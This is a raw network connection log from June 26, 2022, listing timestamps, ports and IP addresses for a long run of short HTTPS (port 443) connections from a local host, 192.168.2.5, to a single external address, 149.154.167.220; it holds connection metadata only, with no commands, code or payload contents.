Jun 26, 2022 09:34:03.402487040 CEST	443	50082	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.402563095 CEST	50082	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.403621912 CEST	50082	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.405572891 CEST	50084	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.405616999 CEST	443	50084	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.405762911 CEST	50084	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.406346083 CEST	50084	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.406367064 CEST	443	50084	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.465894938 CEST	443	50084	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.469885111 CEST	50084	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.469923019 CEST	443	50084	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.470036030 CEST	50084	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.470048904 CEST	443	50084	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.782994986 CEST	443	50084	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.783092022 CEST	443	50084	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.783292055 CEST	50084	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.784512043 CEST	50084	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.786103010 CEST	50085	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.786153078 CEST	443	50085	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.786290884 CEST	50085	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.786962032 CEST	50085	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.786993980 CEST	443	50085	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.848300934 CEST	443	50085	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.851238966 CEST	50085	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.851268053 CEST	443	50085	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.851341009 CEST	50085	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.851353884 CEST	443	50085	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.177706003 CEST	443	50085	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.177795887 CEST	443	50085	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.177867889 CEST	50085	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.178626060 CEST	50085	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.180207014 CEST	50087	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.180243015 CEST	443	50087	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.180357933 CEST	50087	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.180922985 CEST	50087	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.180936098 CEST	443	50087	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.240070105 CEST	443	50087	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.253946066 CEST	50087	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.253968954 CEST	443	50087	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.256285906 CEST	50087	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.256294012 CEST	443	50087	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.556853056 CEST	443	50087	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.556950092 CEST	443	50087	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.557079077 CEST	50087	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.558363914 CEST	50087	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.559937954 CEST	50088	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.559983969 CEST	443	50088	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.560121059 CEST	50088	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.560707092 CEST	50088	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.560733080 CEST	443	50088	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.619456053 CEST	443	50088	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.622577906 CEST	50088	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.622613907 CEST	443	50088	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.622730017 CEST	50088	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.622741938 CEST	443	50088	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.955130100 CEST	443	50088	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.955248117 CEST	443	50088	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.955368996 CEST	50088	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.956684113 CEST	50088	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.958570957 CEST	50091	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.958626986 CEST	443	50091	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:04.958749056 CEST	50091	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.959187031 CEST	50091	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:04.959207058 CEST	443	50091	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.017586946 CEST	443	50091	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.024928093 CEST	50091	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.024955034 CEST	443	50091	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.025193930 CEST	50091	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.025202036 CEST	443	50091	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.326574087 CEST	443	50091	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.326666117 CEST	443	50091	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.326747894 CEST	50091	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.359711885 CEST	50091	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.361689091 CEST	50094	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.361752987 CEST	443	50094	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.361867905 CEST	50094	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.362273932 CEST	50094	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.362292051 CEST	443	50094	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.422991991 CEST	443	50094	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.442214966 CEST	50094	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.442255020 CEST	443	50094	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.443051100 CEST	50094	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.443073034 CEST	443	50094	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.761992931 CEST	443	50094	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.762069941 CEST	443	50094	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.762265921 CEST	50094	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.787292004 CEST	50094	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.788911104 CEST	50095	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.788950920 CEST	443	50095	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.789310932 CEST	50095	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.789977074 CEST	50095	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.790009022 CEST	443	50095	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.846539021 CEST	443	50095	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.849131107 CEST	50095	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.849167109 CEST	443	50095	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:05.849247932 CEST	50095	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:05.849261999 CEST	443	50095	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:06.155041933 CEST	443	50095	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:06.155134916 CEST	443	50095	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:06.155775070 CEST	50095	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.156508923 CEST	50095	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.157782078 CEST	50098	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.157824039 CEST	443	50098	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:06.157933950 CEST	50098	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.164010048 CEST	50098	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.164031029 CEST	443	50098	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:06.223723888 CEST	443	50098	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:06.240076065 CEST	50098	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.240112066 CEST	443	50098	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:06.240303993 CEST	50098	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.240322113 CEST	443	50098	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:06.543530941 CEST	443	50098	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:06.543607950 CEST	443	50098	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:06.543716908 CEST	50098	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.990755081 CEST	50098	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.992296934 CEST	50100	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.992338896 CEST	443	50100	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:06.992420912 CEST	50100	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.992841005 CEST	50100	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:06.992861032 CEST	443	50100	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.052747011 CEST	443	50100	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.061804056 CEST	50100	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:07.061834097 CEST	443	50100	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.061933041 CEST	50100	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:07.061948061 CEST	443	50100	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.394058943 CEST	443	50100	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.394237041 CEST	443	50100	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.394328117 CEST	50100	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:07.396372080 CEST	50100	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:07.400053024 CEST	50102	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:07.400122881 CEST	443	50102	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.400274992 CEST	50102	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:07.401464939 CEST	50102	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:07.401492119 CEST	443	50102	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.462714911 CEST	443	50102	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.505474091 CEST	50102	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:07.505502939 CEST	443	50102	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.507389069 CEST	50102	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:07.507410049 CEST	443	50102	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.864233017 CEST	443	50102	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.864322901 CEST	443	50102	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:07.864415884 CEST	50102	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:08.607940912 CEST	50102	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:08.609716892 CEST	50103	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:08.609757900 CEST	443	50103	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:08.609875917 CEST	50103	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:08.610604048 CEST	50103	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:08.610615969 CEST	443	50103	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:08.668638945 CEST	443	50103	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:08.688606024 CEST	50103	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:08.688626051 CEST	443	50103	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:08.688770056 CEST	50103	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:08.688776970 CEST	443	50103	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:08.993155956 CEST	443	50103	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:08.993249893 CEST	443	50103	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:08.993355036 CEST	50103	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.000580072 CEST	50103	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.015752077 CEST	50104	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.015801907 CEST	443	50104	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.015873909 CEST	50104	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.016395092 CEST	50104	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.016412973 CEST	443	50104	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.078063011 CEST	443	50104	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.081758022 CEST	50104	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.081778049 CEST	443	50104	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.081896067 CEST	50104	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.081904888 CEST	443	50104	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.400954962 CEST	443	50104	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.401029110 CEST	443	50104	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.401156902 CEST	50104	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.402074099 CEST	50104	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.404071093 CEST	50108	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.404122114 CEST	443	50108	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.404357910 CEST	50108	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.405244112 CEST	50108	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.405267954 CEST	443	50108	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.461647034 CEST	443	50108	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.466496944 CEST	50108	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.466520071 CEST	443	50108	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.466625929 CEST	50108	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.466636896 CEST	443	50108	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.776329041 CEST	443	50108	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.776413918 CEST	443	50108	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.776496887 CEST	50108	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.778644085 CEST	50108	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.780168056 CEST	50112	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.780215025 CEST	443	50112	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.780319929 CEST	50112	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.780689955 CEST	50112	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.780710936 CEST	443	50112	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.840446949 CEST	443	50112	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.843349934 CEST	50112	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.843377113 CEST	443	50112	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:09.843498945 CEST	50112	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:09.843509912 CEST	443	50112	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.167471886 CEST	443	50112	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.167570114 CEST	443	50112	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.167714119 CEST	50112	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.170054913 CEST	50112	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.173309088 CEST	50114	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.173356056 CEST	443	50114	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.173496008 CEST	50114	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.174678087 CEST	50114	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.174705982 CEST	443	50114	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.231204033 CEST	443	50114	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.234565973 CEST	50114	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.234607935 CEST	443	50114	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.234728098 CEST	50114	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.234741926 CEST	443	50114	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.551457882 CEST	443	50114	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.551595926 CEST	443	50114	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.551717043 CEST	50114	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.552670002 CEST	50114	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.556269884 CEST	50118	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.556327105 CEST	443	50118	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.556490898 CEST	50118	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.557151079 CEST	50118	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.557178020 CEST	443	50118	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.614027023 CEST	443	50118	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.617178917 CEST	50118	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.617209911 CEST	443	50118	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.617302895 CEST	50118	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.617314100 CEST	443	50118	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.921713114 CEST	443	50118	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.921789885 CEST	443	50118	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.921866894 CEST	50118	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.922630072 CEST	50118	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.923965931 CEST	50119	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.924000025 CEST	443	50119	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.924079895 CEST	50119	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.924874067 CEST	50119	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.924895048 CEST	443	50119	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.983695030 CEST	443	50119	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.986494064 CEST	50119	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.986550093 CEST	443	50119	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:10.986661911 CEST	50119	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:10.986675978 CEST	443	50119	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:11.316356897 CEST	443	50119	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:11.316521883 CEST	443	50119	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:11.316627979 CEST	50119	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:11.317604065 CEST	50119	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:11.758842945 CEST	50124	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:11.758910894 CEST	443	50124	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:11.759006023 CEST	50124	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:11.819004059 CEST	50124	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:11.819039106 CEST	443	50124	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:11.887161016 CEST	443	50124	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:11.939882994 CEST	50124	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.013406038 CEST	50124	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.013426065 CEST	443	50124	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.013699055 CEST	50124	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.013715982 CEST	443	50124	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.404455900 CEST	443	50124	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.404541969 CEST	443	50124	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.404725075 CEST	50124	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.405600071 CEST	50124	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.407038927 CEST	50126	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.407097101 CEST	443	50126	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.407263994 CEST	50126	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.407900095 CEST	50126	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.407931089 CEST	443	50126	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.467313051 CEST	443	50126	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.474067926 CEST	50126	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.474122047 CEST	443	50126	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.474351883 CEST	50126	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.474378109 CEST	443	50126	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.797772884 CEST	443	50126	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.797892094 CEST	443	50126	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.798460007 CEST	50126	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.799160957 CEST	50126	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.801526070 CEST	50128	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.801569939 CEST	443	50128	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.801673889 CEST	50128	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.802359104 CEST	50128	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.802373886 CEST	443	50128	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.860363007 CEST	443	50128	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.867291927 CEST	50128	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.867331028 CEST	443	50128	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:12.868263960 CEST	50128	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:12.868275881 CEST	443	50128	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.235775948 CEST	443	50128	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.235950947 CEST	443	50128	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.236125946 CEST	50128	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.236943960 CEST	50128	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.238683939 CEST	50129	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.238779068 CEST	443	50129	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.238934040 CEST	50129	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.239476919 CEST	50129	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.239509106 CEST	443	50129	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.304222107 CEST	443	50129	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.307125092 CEST	50129	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.307162046 CEST	443	50129	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.308666945 CEST	50129	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.308687925 CEST	443	50129	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.619138002 CEST	443	50129	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.619266987 CEST	443	50129	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.619359970 CEST	50129	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.620371103 CEST	50129	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.623054981 CEST	50130	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.623102903 CEST	443	50130	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.623207092 CEST	50130	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.631504059 CEST	50130	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.631537914 CEST	443	50130	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.689568043 CEST	443	50130	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.694886923 CEST	50130	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.694945097 CEST	443	50130	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:13.695008993 CEST	50130	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:13.695025921 CEST	443	50130	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.018771887 CEST	443	50130	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.018920898 CEST	443	50130	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.018992901 CEST	50130	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.020139933 CEST	50130	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.022398949 CEST	50131	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.022455931 CEST	443	50131	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.022567034 CEST	50131	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.023175001 CEST	50131	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.023191929 CEST	443	50131	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.083425045 CEST	443	50131	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.086077929 CEST	50131	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.086132050 CEST	443	50131	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.086201906 CEST	50131	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.086226940 CEST	443	50131	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.408263922 CEST	443	50131	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.408518076 CEST	443	50131	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.408605099 CEST	50131	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.409708977 CEST	50131	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.411391020 CEST	50132	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.411447048 CEST	443	50132	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.411544085 CEST	50132	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.411969900 CEST	50132	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:14.411998034 CEST	443	50132	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.471642017 CEST	443	50132	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:14.474773884 CEST	50132	443	192.168.2.5	149.154.167.220
